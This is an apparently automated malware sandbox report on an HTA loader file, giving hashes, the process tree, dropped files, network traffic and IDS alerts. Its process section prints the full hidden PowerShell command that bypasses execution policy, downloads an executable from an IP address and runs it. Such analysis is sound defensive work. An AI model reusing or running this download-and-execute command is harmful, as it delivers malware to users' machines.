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BazF.hta

Full analysis: https://app.any.run/tasks/ab847864-a7ba-4dfb-83ea-6eb527cd73cd
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

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Analysis date: November 15, 2018, 12:36:54
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
evasion
loader
Indicators:
MIME: text/html
File info: HTML document, ASCII text, with very long lines
MD5:

09E7420F73F516636D03A34B852DFFA9

SHA1:

F9833A4439616D677AE0CF18779BDEBFBC0FD045

SHA256:

FC9C97770654C5C62A51423612D29E1DCEB8111ED597BE25B6C53C6E3334093E

SSDEEP:

96:FlYATtqBn6h6/rpTgJO8BHecH+wNmFsHqFbI3G2EHeRpfGhz:hYwwFEo

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • TRZGSP.exe (PID: 2112)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3836)

    • Downloads executable files from IP

      • powershell.exe (PID: 3836)

  • SUSPICIOUS

    • Creates files in the user directory

      • TRZGSP.exe (PID: 2112)
      • powershell.exe (PID: 3836)

    • Uses RUNDLL32.EXE to load library

      • TRZGSP.exe (PID: 2112)

    • Reads Internet Cache Settings

      • rundll32.exe (PID: 2344)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3836)

  • INFO

    • Changes internet zones settings

      • iexplore.exe (PID: 3280)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3280)
      • iexplore.exe (PID: 3840)

    • Reads internet explorer settings

      • iexplore.exe (PID: 3840)

    • Application launched itself

      • iexplore.exe (PID: 3280)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.html | HyperText Markup Language (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
5
Malicious processes
0
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start iexplore.exe iexplore.exe no specs powershell.exe trzgsp.exe rundll32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3280"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\admin\Downloads\BazF.hta.htmlC:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3840"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3280 CREDAT:79873C:\Program Files\Internet Explorer\iexplore.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3836powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command try{$down = New-Object System.Net.WebClient;$url = 'HTTP:/'+'/'+'31.184.198.161/~winvps/1_com/acc/TRZGSP.exe';$file = $env:temp + '\TRZGSP.exe';$down.DownloadFile($url,$file);$exec = New-Object -com shell.application;$exec.shellexecute($file);}catch{}exit;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2112"C:\Users\admin\AppData\Local\Temp\TRZGSP.exe" C:\Users\admin\AppData\Local\Temp\TRZGSP.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
Version:
3, 3, 8, 1
2344"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\WININET.dll",DispatchAPICall 1 C:\Windows\system32\rundll32.exe—TRZGSP.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 030
Read events
864
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
3
Text files
4
Unknown types
1

Dropped files

PID
Process
Filename
Type
3280iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico —
MD5:—
SHA256:—
3280iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
3836powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7935AVQ75H80U1UPD4QI.temp —
MD5:—
SHA256:—
3280iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF69ADC1C02794D5E1.TMP —
MD5:—
SHA256:—
3280iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFEA175CC559BA0B89.TMP —
MD5:—
SHA256:—
3280iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{2BBE4177-E8D3-11E8-A505-5254004AAD11}.dat —
MD5:—
SHA256:—
3836powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16d19d.TMPbinary
MD5:0C5E84CFB7FDA503A7F95914AD626D14
SHA256:847C9A54D0A166FB3A44DD4F6C901834D114B86EF68D6E5A7AAA494B6569B01D
3280iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{2BBE4178-E8D3-11E8-A505-5254004AAD11}.datbinary
MD5:3BB6F4112A0AD339641AE36B964E6C99
SHA256:8BAEC8A8B1BA551A9D2AC6248CB57964D0330B003FCEA0408094891AB90DCD84
3840iexplore.exeC:\Users\admin\AppData\Local\Temp\JavaDeployReg.logtext
MD5:DF602DBF9EF2A71F049DC14F38B53797
SHA256:A0F4D29535BBF976F6AD229BFA1DC5B52F9A402C57F4A75F9E392E83CB144CA2
3840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018111520181116\index.datdat
MD5:B9AF50A327FB571131D7FD4B0622B720
SHA256:F142E0F3831D7FBA74561228D4FB306E72501B278E01A768F73ABBD3E2DDA406
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3836
powershell.exe
GET
200
31.184.198.161:80
http://31.184.198.161/~winvps/1_com/acc/TRZGSP.exe
RU
executable
693 Kb
suspicious
3280
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2112
TRZGSP.exe
104.25.210.99:443
ipapi.co
Cloudflare Inc
US
shared
3280
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3836
powershell.exe
31.184.198.161:80
—
Petersburg Internet Network ltd.
RU
suspicious

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
ipapi.co
  • 104.25.210.99
  • 104.25.209.99
shared

Threats

PID
Process
Class
Message
3836
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3836
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3836
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3836
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
—
—
Potential Corporate Privacy Violation
ET POLICY External IP Lookup Domain (ipapi .co in DNS lookup)
No debug info
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Reports
BazF.hta